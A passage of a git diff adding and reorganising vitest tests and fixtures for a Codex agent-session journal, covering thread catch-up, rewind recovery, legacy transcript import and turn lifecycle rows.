...turn(n), - items: [ - { type: 'reasoning', id: 'item-2', summary: [{ text: `reason ${n}` }] }, - { type: 'agentMessage', id: 'same-message-id', text: `answer ${n}` } - ] - }) - await c.open([withReasoning(1)]) - const before = c.journal.snapshot().items - await c.open([withReasoning(2)]) - expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) - expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ - 'assistant:answer 1', - 'assistant:answer 2' - ]) - const reasoning = c.journal - .snapshot() - .items.filter((item) => item.body.kind === 'message' && item.body.role === 'reasoning') - expect(new Set(reasoning.map((item) => item.itemId)).size).toBe(2) - expect(new Set(reasoning.map((item) => JSON.stringify(item.turnScope))).size).toBe(2) - }) - - it('retains the original adoption cutoff through native rewind and disk recovery', async () => { - const clock = { now: 50_000 } - const c = await chat(clock) - let store = await openTestAgentSessionRecordStore(c.root) - const callerKey = 'catch-up-test' - await store.reserveOwner({ - sessionId: SESSION, - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: 'workspace-1', - workspaceKind: 'folder' - }, - provider: 'codex', - accountHome: { variable: 'CODEX_HOME', path: join(c.root, 'qa-codex') }, - expectedFence: null, - spawnToken: 'fixture-only', - claimKeyId: 'fixture', - handoffOperationId: null, - probe: { outcome: 'indeterminate', reason: 'fixture' }, - operation: { - callerKey, - operationId: '0000000050000-00000000000000000000000000000001', - fingerprint: 'create' - }, - now: clock.now - }) - await store.commitProcessIdentity({ - sessionId: SESSION, - fence: 1, - process: { - hostId: 'local', - pid: 424242, - processStartTimeMs: clock.now, - spawnToken: 'fixture-only' - }, - now: clock.now - }) - await store.proveOwner({ - sessionId: SESSION, - fence: 1, - link: { - linkId: 'adopted', - handle: codexProviderHandle(THREAD), - origin: 'adopted', - mintedAtFence: 1, - observedAt: clock.now - }, - now: clock.now - }) - const filePath = join(c.root, 'rollout.jsonl') - await writeFile( - filePath, - [ - { - timestamp: '1970-01-01T00:01:40.000Z', - type: 'event_msg', - payload: { type: 'user_message', message: 'old A ask' } - }, - { - timestamp: '1970-01-01T00:01:50.000Z', - type: 'event_msg', - payload: { type: 'agent_message', message: 'old A answer' } - } - ] - .map((line) => JSON.stringify(line)) - .join('\n') - ) - clock.now = 200_000 - expect( - await importLegacyTranscriptIntoJournal({ - journal: c.journal, - agent: 'codex', - sessionId: THREAD, - fence: 1, - options: { filePath } - }) - ).toMatchObject({ ok: true, imported: 2 }) - const original = c.journal.snapshot().items - const dated = (n: number) => ({ ...turn(n), startedAt: n, completedAt: n + 10 }) - await c.open([dated(100), dated(300)]) - const target = agentJournalItemKey({ - provider: 'codex', - threadId: THREAD, - turnId: 'turn-300', - ordinal: 0 - }) - const operationId = '0000000500000-00000000000000000000000000000002' - await store.admitOperation({ - callerKey, - operationId, - fingerprint: 'rewind', - now: 500_000 - }) - await store.transitionHandoff(SESSION, (record) => ({ - ...record, - rewind: { - operationId, - callerKey, - itemId: target, - expectedEpoch: c.journal.epoch, - phase: 'provider-succeeded' - } +it('commits a 600-message import once, rolls back a later partition failure, and recovers', async () => { + const c = await chat({ now: 1_000 }) + await c.open([turn(1)]) + const before = c.journal.snapshot() + const large = { + ...turn(2), + items: Array.from({ length: 600 }, (_, n) => ({ + type: 'agentMessage', + id: `item-${n}`, + text: `answer ${n}` })) - clock.now = 500_000 - const deps = () => ({ store, logger: testEventSinkLogging().logger }) - await recoverStructuredRewind(deps(), SESSION, c.journal, 1) - expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) - await c.reopen() - store = await openTestAgentSessionRecordStore(c.root) - await recoverStructuredRewind(deps(), SESSION, c.journal, 1) - expect(store.getRecord(SESSION)?.rewind?.phase).toBe('completed') - expect(usableJournalHistoryOrigin(c.journal.historyOrigin())?.importedAt).toBe(200_000) - await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) - expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ - 'assistant:old A answer', - 'assistant:answer 250', - 'assistant:answer 600' - ]) - expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) - const complete = c.journal.snapshot() - await c.reopen() - await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) - expect(c.journal.snapshot()).toEqual(complete) - }) - - it('keeps erased-origin legacy chats readable without guessing from native IDs', async () => { - const c = await chat({ now: 200_000 }) - const kept = { - identity: { provider: 'legacy', agent: 'codex', sessionId: THREAD, recordId: '#0' } as const, - ownerFence: 1, - body: { - kind: 'message' as const, - role: 'user' as const, - blocks: [{ type: 'text' as const, text: 'legacy' }] - } - } - await c.journal.replaceEpochItems('session_created', 1, [kept]) - await c.reopen() - await c.journal.appendItem( - { provider: 'codex', threadId: THREAD, turnId: 'native', ordinal: 0 }, - { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'ordinary reply' }] }, - { fence: 1, turnScope: { kind: 'thread' } } - ) - await c.open([turn(3)]) - expect(c.texts()).toEqual(['user:legacy', 'assistant:ordinary reply']) - }) + } + const seq = c.journal.cursor().sequence + c.db.exec( + `CREATE TRIGGER fail_later_partition BEFORE INSERT ON journal_rows WHEN NEW.seq > ${seq + 1} BEGIN SELECT RAISE(ABORT, 'injected later partition failure'); END` + ) + expect((await c.open([turn(1), large])).ok).toBe(false) + expect(c.deferred.state().failed).toBe(true) + expect(c.journal.snapshot()).toEqual(before) + c.db.exec('DROP TRIGGER fail_later_partition') + await c.reopen() + expect(c.journal.snapshot()).toEqual(before) + c.publications.length = 0 + await c.open([turn(1), large]) + expect(c.texts()).toHaveLength(603) + expect(c.publications).toEqual([before.items.length + 602]) + await c.reopen() + await c.open([turn(1), large]) + expect(c.texts()).toHaveLength(603) }) + +it('keeps rollback reasoning and message identities immutable across turns', async () => { + const c = await chat({ now: 1_000 }) + const withReasoning = (n: number) => ({ + ...turn(n), + items: [ + { type: 'reasoning', id: 'item-2', summary: [{ text: `reason ${n}` }] }, + { type: 'agentMessage', id: 'same-message-id', text: `answer ${n}` } + ] + }) + await c.open([withReasoning(1)]) + const before = c.journal.snapshot().items + await c.open([withReasoning(2)]) + expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) + expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ + 'assistant:answer 1', + 'assistant:answer 2' + ]) + const reasoning = c.journal + .snapshot() + .items.filter((item) => item.body.kind === 'message' && item.body.role === 'reasoning') + expect(new Set(reasoning.map((item) => item.itemId)).size).toBe(2) + expect(new Set(reasoning.map((item) => JSON.stringify(item.turnScope))).size).toBe(2) +}) + +export { chat, turn } from './codex-thread-catch-up-contract-test-fixture' + +registerCodexCatchUpEchoTests({ chat, turn, sessionId: SESSION, threadId: THREAD }) diff --git a/src/main/codex/codex-structured-visuals.test.ts b/src/main/codex/codex-structured-visuals.test.ts index 506a96e577b..84a0ebd9bf8 100644 --- a/src/main/codex/codex-structured-visuals.test.ts +++ b/src/main/codex/codex-structured-visuals.test.ts @@ -15,10 +15,8 @@ import { import { createCodexStructuredLaunchResolver } from '../runtime/structured-agent-launch-composition.test-support' import { agentSessionRecordFixture } from '../native-chat/agent-session-record-test-fixture' import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' -import { - CODEX_VISUALS_SETUP_BUDGET_MS, - prepareCodexThreadForVisuals -} from './codex-structured-visuals' +import { prepareCodexThreadForVisuals } from './codex-structured-visuals' + import { codexStructuredPermissionPolicy } from '../../shared/codex-permission-policy' const VISUALS: NativeChatVisualsLaunch = { @@ -51,34 +49,6 @@ const configWithRoots = (roots: unknown) => () => ({ }) describe('setting up a Codex app-server for a chat with visuals', () => { - it("names the skill root and adds the chat folder to the user's writable roots", async () => { - const { calls, connection } = connectionAnswering({ - 'config/read': configWithRoots(['/home/me/scratch']) - }) - const config = await prepareCodexThreadForVisuals(connection, { - cwd: '/work/repo', - visuals: VISUALS, - permissionPolicy: MANUAL - }) - expect(config).toEqual({ - 'sandbox_workspace_write.writable_roots': ['/home/me/scratch', VISUALS.folder] - }) - expect(calls).toEqual( - expect.arrayContaining([ - { - method: 'skills/extraRoots/set', - params: { extraRoots: [VISUALS.skill.skillsRoot] }, - timeoutMs: CODEX_VISUALS_SETUP_BUDGET_MS - }, - { - method: 'config/read', - params: { cwd: '/work/repo' }, - timeoutMs: CODEX_VISUALS_SETUP_BUDGET_MS - } - ]) - ) - }) - it('grants just the folder when the user has no writable roots of their own', async () => { for (const answer of [() => ({ config: {} }), configWithRoots([])]) { const { connection } = connectionAnswering({ 'config/read': answer }) @@ -153,12 +123,6 @@ describe('setting up a Codex app-server for a chat with visuals', () => { ) } }) - - it('sends nothing for a chat without visuals', async () => { - const { calls, connection } = connectionAnswering({}) - await expect(prepareCodexThreadForVisuals(connection, { cwd: '/w' })).resolves.toBeNull() - expect(calls).toEqual([]) - }) }) async function acquired( diff --git a/src/main/codex/codex-thread-catch-up-contract-test-fixture.ts b/src/main/codex/codex-thread-catch-up-contract-test-fixture.ts new file mode 100644 index 00000000000..15eb1de0a05 --- /dev/null +++ b/src/main/codex/codex-thread-catch-up-contract-test-fixture.ts @@ -0,0 +1,136 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect } from 'vitest' +import type { AgentSessionJournalIdentity } from '../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener, + openTestJournalHostDatabase +} from '../native-chat/agent-session-journal/journal-host-database-test-support' +import { createDeferredStructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' +import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' +import { catchUpCodexThread } from './codex-structured-thread-catch-up' + +export const SESSION = 'session-codex-catch-up' + +export const THREAD = 'thread-abc' + +export const STARTED_AT = 1_700_000_000 + +export function turn(index: number, view: 'full' | 'summary' = 'full'): Record { + return { + id: `turn-${index}`, + status: 'completed', + itemsView: view, + startedAt: STARTED_AT + index * 100, + completedAt: STARTED_AT + index * 100 + 50, + items: [ + { type: 'userMessage', id: `u-${index}`, content: [{ type: 'text', text: `ask ${index}` }] }, + { type: 'agentMessage', id: `a-${index}`, text: `answer ${index}` } + ] + } +} + +export function codexWith(turns: Record[]) { + return { + request: async (method: string, params?: Record) => { + expect(method).toBe('thread/turns/list') + expect(params).toMatchObject({ sortDirection: 'desc', limit: 100 }) + const newestFirst = turns.toReversed() + const start = typeof params?.cursor === 'string' ? Number(params.cursor) : 0 + const data = newestFirst.slice(start, start + 2) + return { + data, + nextCursor: start + 2 < newestFirst.length ? String(start + 2) : null + } + } + } +} + +export const journals = createTrackedJournalOpener({ legacyInputs: true }) + +export const cleanups: (() => Promise)[] = [] + +afterEach(async () => { + for (const cleanup of cleanups.splice(0)) { + await cleanup() + } +}) + +export async function chat(clock: { now: number }) { + const root = await mkdtemp(join(tmpdir(), 'orca-codex-catch-up-')) + const journalOptions = { + identity: { + sessionId: SESSION, + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + } satisfies AgentSessionJournalIdentity, + stateDirectory: root, + now: () => clock.now + } + let journal = await journals.open(journalOptions) + let deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) + const publications: number[] = [] + const bind = () => + deferred.bind({ + journal, + fence: 1, + publish: () => { + publications.push(journal.snapshot().items.length) + } + }) + bind() + cleanups.push(async () => { + deferred.close() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + return { + get journal() { + return journal + }, + get deferred() { + return deferred + }, + root, + get db() { + return openTestJournalHostDatabase(root).db + }, + publications, + reopen: async () => { + deferred.close() + await journal.close() + await closeTestJournalHostDatabase(root) + journal = await journals.open(journalOptions) + deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) + bind() + }, + open: async ( + turns: Record[], + options: Partial[0]> = {} + ) => { + await catchUpCodexThread({ + connection: codexWith(turns), + threadId: THREAD, + sessionId: SESSION, + sink: deferred.sink, + ...options + }) + return deferred.drained() + }, + texts: () => + journal.snapshot().items.flatMap((item) => { + if (item.body.kind === 'message') { + const text = item.body.blocks.map((block) => (block.type === 'text' ? block.text : '')) + return [`${item.body.role}:${text.join('')}`] + } + return item.body.kind === 'status' && item.body.presentation + ? [`(${item.body.presentation})`] + : [] + }) + } +} diff --git a/src/main/codex/codex-thread-catch-up-rewind.test.ts b/src/main/codex/codex-thread-catch-up-rewind.test.ts new file mode 100644 index 00000000000..bd145d5a57f --- /dev/null +++ b/src/main/codex/codex-thread-catch-up-rewind.test.ts @@ -0,0 +1,160 @@ +import { writeFile } from 'node:fs/promises' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' +import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' +import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' +import { importLegacyTranscriptIntoJournal } from '../native-chat/agent-session-journal/journal-legacy-import' +import { openTestAgentSessionRecordStore } from '../runtime/agent-session-record-store-test-harness' +import { recoverStructuredRewind } from '../native-chat/agent-session-wire/structured-rewind-recovery' +import { usableJournalHistoryOrigin } from '../native-chat/agent-session-journal/journal-history-origin' + +import { SESSION, THREAD, chat, turn } from './codex-thread-catch-up-contract-test-fixture' + +it('retains the original adoption cutoff through native rewind and disk recovery', async () => { + const clock = { now: 50_000 } + const c = await chat(clock) + let store = await openTestAgentSessionRecordStore(c.root) + const callerKey = 'catch-up-test' + await store.reserveOwner({ + sessionId: SESSION, + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: 'workspace-1', + workspaceKind: 'folder' + }, + provider: 'codex', + accountHome: { variable: 'CODEX_HOME', path: join(c.root, 'qa-codex') }, + expectedFence: null, + spawnToken: 'fixture-only', + claimKeyId: 'fixture', + handoffOperationId: null, + probe: { outcome: 'indeterminate', reason: 'fixture' }, + operation: { + callerKey, + operationId: '0000000050000-00000000000000000000000000000001', + fingerprint: 'create' + }, + now: clock.now + }) + await store.commitProcessIdentity({ + sessionId: SESSION, + fence: 1, + process: { + hostId: 'local', + pid: 424242, + processStartTimeMs: clock.now, + spawnToken: 'fixture-only' + }, + now: clock.now + }) + await store.proveOwner({ + sessionId: SESSION, + fence: 1, + link: { + linkId: 'adopted', + handle: codexProviderHandle(THREAD), + origin: 'adopted', + mintedAtFence: 1, + observedAt: clock.now + }, + now: clock.now + }) + const filePath = join(c.root, 'rollout.jsonl') + await writeFile( + filePath, + [ + { + timestamp: '1970-01-01T00:01:40.000Z', + type: 'event_msg', + payload: { type: 'user_message', message: 'old A ask' } + }, + { + timestamp: '1970-01-01T00:01:50.000Z', + type: 'event_msg', + payload: { type: 'agent_message', message: 'old A answer' } + } + ] + .map((line) => JSON.stringify(line)) + .join('\n') + ) + clock.now = 200_000 + expect( + await importLegacyTranscriptIntoJournal({ + journal: c.journal, + agent: 'codex', + sessionId: THREAD, + fence: 1, + options: { filePath } + }) + ).toMatchObject({ ok: true, imported: 2 }) + const original = c.journal.snapshot().items + const dated = (n: number) => ({ ...turn(n), startedAt: n, completedAt: n + 10 }) + await c.open([dated(100), dated(300)]) + const target = agentJournalItemKey({ + provider: 'codex', + threadId: THREAD, + turnId: 'turn-300', + ordinal: 0 + }) + const operationId = '0000000500000-00000000000000000000000000000002' + await store.admitOperation({ + callerKey, + operationId, + fingerprint: 'rewind', + now: 500_000 + }) + await store.transitionHandoff(SESSION, (record) => ({ + ...record, + rewind: { + operationId, + callerKey, + itemId: target, + expectedEpoch: c.journal.epoch, + phase: 'provider-succeeded' + } + })) + clock.now = 500_000 + const deps = () => ({ store, logger: testEventSinkLogging().logger }) + await recoverStructuredRewind(deps(), SESSION, c.journal, 1) + expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) + await c.reopen() + store = await openTestAgentSessionRecordStore(c.root) + await recoverStructuredRewind(deps(), SESSION, c.journal, 1) + expect(store.getRecord(SESSION)?.rewind?.phase).toBe('completed') + expect(usableJournalHistoryOrigin(c.journal.historyOrigin())?.importedAt).toBe(200_000) + await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) + expect(c.texts().filter((text) => text.startsWith('assistant:'))).toEqual([ + 'assistant:old A answer', + 'assistant:answer 250', + 'assistant:answer 600' + ]) + expect(c.journal.snapshot().items.slice(0, original.length)).toEqual(original) + const complete = c.journal.snapshot() + await c.reopen() + await c.open([dated(100), dated(150), dated(200), dated(250), dated(600)]) + expect(c.journal.snapshot()).toEqual(complete) +}) + +it('keeps erased-origin legacy chats readable without guessing from native IDs', async () => { + const c = await chat({ now: 200_000 }) + const kept = { + identity: { provider: 'legacy', agent: 'codex', sessionId: THREAD, recordId: '#0' } as const, + ownerFence: 1, + body: { + kind: 'message' as const, + role: 'user' as const, + blocks: [{ type: 'text' as const, text: 'legacy' }] + } + } + await c.journal.replaceEpochItems('session_created', 1, [kept]) + await c.reopen() + await c.journal.appendItem( + { provider: 'codex', threadId: THREAD, turnId: 'native', ordinal: 0 }, + { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: 'ordinary reply' }] }, + { fence: 1, turnScope: { kind: 'thread' } } + ) + await c.open([turn(3)]) + expect(c.texts()).toEqual(['user:legacy', 'assistant:ordinary reply']) +}) diff --git a/src/main/codex/codex-turn-lifecycle-completion.test.ts b/src/main/codex/codex-turn-lifecycle-completion.test.ts new file mode 100644 index 00000000000..1bb894a9ad9 --- /dev/null +++ b/src/main/codex/codex-turn-lifecycle-completion.test.ts @@ -0,0 +1,194 @@ +import { describe, expect, it, vi } from 'vitest' +import { + readAgentJournalTurn, + readAgentJournalTurnOutcome +} from '../../shared/agent-session-turn-record' +import type { CodexAppServerConnection } from './app-server/codex-app-server-connection-types' +import { createCodexJournalTranslator } from './codex-structured-journal-translation' +import { createCodexStructuredNotificationRetry } from './codex-structured-notification-retry' +import type { CodexSession } from './codex-structured-session-state' + +import { + LIFECYCLE_KEY, + SESSION_ID, + THREAD_ID, + TURN_ID, + USER_ITEM_ID, + notification, + recorder, + reduced, + translatorFor +} from './codex-turn-lifecycle-contract-test-fixture' + +describe('codex turn lifecycle rows', () => { + it('keeps the verdict when a send echoed after completion revises the settled row', () => { + const tap = recorder() + const translator = createCodexJournalTranslator({ + sink: tap.sink, + sessionId: SESSION_ID, + primaryThreadId: () => THREAD_ID, + dispatchRequestOrigin: () => ({ requestedAt: 900, sequence: 0 }) + }) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle( + notification('turn/completed', { turn: { id: TURN_ID, status: 'failed' } }, 2_000) + ) + translator.handle( + notification( + 'item/started', + { + turn: { id: TURN_ID }, + item: { type: 'userMessage', id: 'user-1', clientId: 'client-1' } + }, + 2_100 + ) + ) + + // requestedAt distinguishes the post-echo revision from the original terminal row. + const lifecycle = reduced(tap.rows).find((row) => row.key === LIFECYCLE_KEY) + expect(lifecycle?.body).toMatchObject({ + kind: 'turn', + state: 'completed', + outcome: 'failure', + requestedAt: 900 + }) + }) + + it('carries the provider duration and the same user item onto the terminal row', () => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle( + notification( + 'turn/completed', + { turn: { id: TURN_ID, status: 'completed', durationMs: 3_250 } }, + 4_500 + ) + ) + + expect(tap.rows.at(-1)).toEqual({ + key: LIFECYCLE_KEY, + body: { + kind: 'turn', + turnId: TURN_ID, + state: 'completed', + outcome: 'success', + userItemId: USER_ITEM_ID, + startedAt: 1_000, + completedAt: 4_500, + durationMs: 3_250 + } + }) + }) + + it.each([ + ['interrupted', 'interrupted', 'cancellation'], + ['failed', 'completed', 'failure'], + ['someFutureStatus', 'completed', undefined], + ['inProgress', 'completed', undefined] + ] as const)( + 'maps a %s turn status to a %s lifecycle with outcome %s', + (status, state, outcome) => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle(notification('turn/completed', { turn: { id: TURN_ID, status } }, 2_000)) + + expect(tap.tombstones).toEqual([]) + expect(reduced(tap.rows)).toEqual([ + { + key: LIFECYCLE_KEY, + body: { + kind: 'turn', + turnId: TURN_ID, + state, + ...(outcome ? { outcome } : {}), + userItemId: USER_ITEM_ID, + startedAt: 1_000, + completedAt: 2_000 + } + } + ]) + } + ) + + it('records no outcome for a turn end that named no status', () => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) + translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 2_000)) + + const body = reduced(tap.rows).at(-1)?.body + expect(body).toMatchObject({ kind: 'turn', state: 'completed' }) + expect(readAgentJournalTurnOutcome(readAgentJournalTurn(body))).toBeNull() + }) + + it('stamps the host clock when a boundary arrives without a receipt time', () => { + const tap = recorder() + let clock = 10_000 + const translator = translatorFor(tap, () => (clock += 250)) + + translator.handle(notification('turn/started', { turn: { id: TURN_ID } })) + translator.handle(notification('turn/completed', { turn: { id: TURN_ID } })) + + expect(tap.rows.map((row) => row.body)).toMatchObject([ + { kind: 'turn', state: 'running', startedAt: 10_250 }, + { kind: 'turn', state: 'completed', startedAt: 10_250, completedAt: 10_500 } + ]) + }) + + it('writes only the end time, and no duration, when Codex reports neither', () => { + const tap = recorder() + const translator = translatorFor(tap) + + translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 3_000)) + + expect(tap.rows).toEqual([ + { + key: LIFECYCLE_KEY, + body: { + kind: 'turn', + turnId: TURN_ID, + state: 'completed', + userItemId: USER_ITEM_ID, + completedAt: 3_000 + } + } + ]) + }) + + it('replays an oversized backpressured notification with its original receipt time', async () => { + vi.useFakeTimers() + const connection = { + pauseReading: vi.fn(), + resumeReading: vi.fn() + } as unknown as CodexAppServerConnection + const translate = vi + .fn[0]['translate']>() + .mockReturnValueOnce({ accepted: false, reason: 'backpressure' }) + .mockReturnValue({ accepted: true }) + const retries = createCodexStructuredNotificationRetry({ + sessionFor: () => ({ connection, ended: false }) as CodexSession, + translate + }) + + expect( + retries.handle( + SESSION_ID, + 'turn/started', + { turn: { id: TURN_ID }, output: 'x'.repeat(9 * 1024 * 1024) }, + 1_000, + -1 + ) + ).toEqual({ accepted: false, reason: 'backpressure' }) + await vi.advanceTimersByTimeAsync(50) + + expect(translate.mock.calls.map((call) => call[4])).toEqual([1_000, 1_000]) + expect(translate.mock.calls.map((call) => call[5])).toEqual([-1, -1]) + expect(connection.resumeReading).not.toHaveBeenCalled() + }) +}) diff --git a/src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts b/src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts new file mode 100644 index 00000000000..8726041f89a --- /dev/null +++ b/src/main/codex/codex-turn-lifecycle-contract-test-fixture.ts @@ -0,0 +1,92 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import type { + AgentJournalItemBody, + AgentJournalItemIdentity +} from '../../shared/agent-session-journal-types' +import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' +import { createTrackedJournalOpener } from '../native-chat/agent-session-journal/journal-host-database-test-support' +import type { StructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' +import { createCodexJournalTranslator } from './codex-structured-journal-translation' +import type { CodexStructuredSessionEvent } from './codex-structured-session-adapter' + +export const SESSION_ID = 'session-1' + +export const THREAD_ID = 'thread-abc' + +export const TURN_ID = 'turn-1' + +export const LIFECYCLE_KEY = 'legacy:codex:session-1:turn-lifecycle%3Aturn-1' + +export const USER_ITEM_ID = 'codex:thread-abc:turn-1:0' + +export type Row = { key: string; body: AgentJournalItemBody } + +export function recorder() { + const rows: Row[] = [] + const tombstones: string[] = [] + const sink: StructuredAgentSessionEventSink = { + appendItem: (identity: AgentJournalItemIdentity, body) => + rows.push({ key: agentJournalItemKey(identity), body }), + appendTombstone: (identity) => tombstones.push(agentJournalItemKey(identity)), + publish: () => {} + } + return { sink, rows, tombstones } +} + +export function reduced(rows: readonly Row[]): Row[] { + const latest = new Map() + for (const row of rows) { + latest.set(row.key, row) + } + return [...latest.values()] +} + +export function notification( + method: string, + params: unknown, + observedAt?: number +): CodexStructuredSessionEvent { + return { + type: 'notification', + sessionId: SESSION_ID, + threadId: THREAD_ID, + method, + params, + ...(observedAt !== undefined ? { observedAt } : {}) + } +} + +export function translatorFor(tap: ReturnType, now?: () => number) { + return createCodexJournalTranslator({ + sink: tap.sink, + sessionId: SESSION_ID, + primaryThreadId: () => THREAD_ID, + ...(now ? { now } : {}) + }) +} + +export const journals = createTrackedJournalOpener() + +let root: string + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-codex-turn-lifecycle-')) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + vi.useRealTimers() +}) + +export const fixture = { + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/codex/codex-turn-lifecycle-history.test.ts b/src/main/codex/codex-turn-lifecycle-history.test.ts new file mode 100644 index 00000000000..6ba26dc3b67 --- /dev/null +++ b/src/main/codex/codex-turn-lifecycle-history.test.ts @@ -0,0 +1,138 @@ +import { describe, expect, it } from 'vitest' +import { createCodexJournalTranslator } from './codex-structured-journal-translation' + +import { THREAD_ID, recorder, translatorFor } from './codex-turn-lifecycle-contract-test-fixture' + +describe('codex turn lifecycle rows', () => { + it('restores historical turn rows with optional endpoints in milliseconds', () => { + const tap = recorder() + const translator = translatorFor(tap) + + expect( + translator.restoreThread(THREAD_ID, { + turns: [ + { + id: 'turn-done', + status: 'completed', + startedAt: 1_700_000_000, + completedAt: 1_700_000_042, + durationMs: 41_900, + items: [{ type: 'agentMessage', id: 'agent-done', text: 'done' }] + }, + { + id: 'turn-cut', + status: 'interrupted', + startedAt: 1_700_000_100, + completedAt: 1_700_000_101, + items: [] + }, + { + id: 'turn-failed', + status: 'failed', + startedAt: 1_700_000_150, + completedAt: 1_700_000_152, + durationMs: 2_400, + items: [] + }, + { + id: 'turn-unplaced', + status: 'someFutureStatus', + startedAt: 1_700_000_170, + completedAt: 1_700_000_171, + items: [] + }, + { id: 'turn-open', status: 'inProgress', startedAt: 1_700_000_200, items: [] }, + { id: 'turn-untimed', status: 'completed', items: [] } + ] + }) + ).toEqual({ accepted: true }) + + expect(tap.rows).toEqual([ + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-done', + body: { + kind: 'turn', + turnId: 'turn-done', + state: 'completed', + outcome: 'success', + userItemId: 'codex:thread-abc:turn-done:0', + startedAt: 1_700_000_000_000, + completedAt: 1_700_000_042_000, + durationMs: 41_900 + } + }, + expect.objectContaining({ body: expect.objectContaining({ kind: 'message' }) }), + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-cut', + body: { + kind: 'turn', + turnId: 'turn-cut', + state: 'interrupted', + outcome: 'cancellation', + userItemId: 'codex:thread-abc:turn-cut:0', + startedAt: 1_700_000_100_000, + completedAt: 1_700_000_101_000 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-failed', + body: { + kind: 'turn', + turnId: 'turn-failed', + state: 'completed', + outcome: 'failure', + userItemId: 'codex:thread-abc:turn-failed:0', + startedAt: 1_700_000_150_000, + completedAt: 1_700_000_152_000, + durationMs: 2_400 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-unplaced', + body: { + kind: 'turn', + turnId: 'turn-unplaced', + state: 'completed', + userItemId: 'codex:thread-abc:turn-unplaced:0', + startedAt: 1_700_000_170_000, + completedAt: 1_700_000_171_000 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-open', + body: { + kind: 'turn', + turnId: 'turn-open', + state: 'completed', + userItemId: 'codex:thread-abc:turn-open:0', + startedAt: 1_700_000_200_000 + } + }, + { + key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-untimed', + body: { + kind: 'turn', + turnId: 'turn-untimed', + state: 'completed', + outcome: 'success', + userItemId: 'codex:thread-abc:turn-untimed:0' + } + } + ]) + expect(tap.tombstones).toEqual([]) + }) + + it('restores no lifecycle rows without a session identity to key them by', () => { + const tap = recorder() + const translator = createCodexJournalTranslator({ + sink: tap.sink, + primaryThreadId: () => THREAD_ID + }) + + translator.restoreThread(THREAD_ID, { + turns: [{ id: 'turn-done', status: 'completed', startedAt: 1, completedAt: 2, items: [] }] + }) + + expect(tap.rows).toEqual([]) + }) +}) diff --git a/src/main/codex/codex-user-hook-trust-moves.test.ts b/src/main/codex/codex-user-hook-trust-moves.test.ts index 79312de5163..eca1aa6a701 100644 --- a/src/main/codex/codex-user-hook-trust-moves.test.ts +++ b/src/main/codex/codex-user-hook-trust-moves.test.ts @@ -1,4 +1,5 @@ -import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' + import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -57,17 +58,6 @@ function mutate( } describe('real-home user hook trust rebasing', () => { - it('writes without touching config.toml when no hook moves', () => { - const user = command('user-hook') - mutate( - { Stop: [{ hooks: [user] }] }, - { Stop: [{ hooks: [user] }, { hooks: [command('orca')] }] } - ) - - expect(existsSync(hooksPath)).toBe(true) - expect(existsSync(configPath)).toBe(false) - }) - it('finds multiple shifted user hooks, including a handler from a mixed group', async () => { const orca = command('orca-hook') const first = command('first-user') diff --git 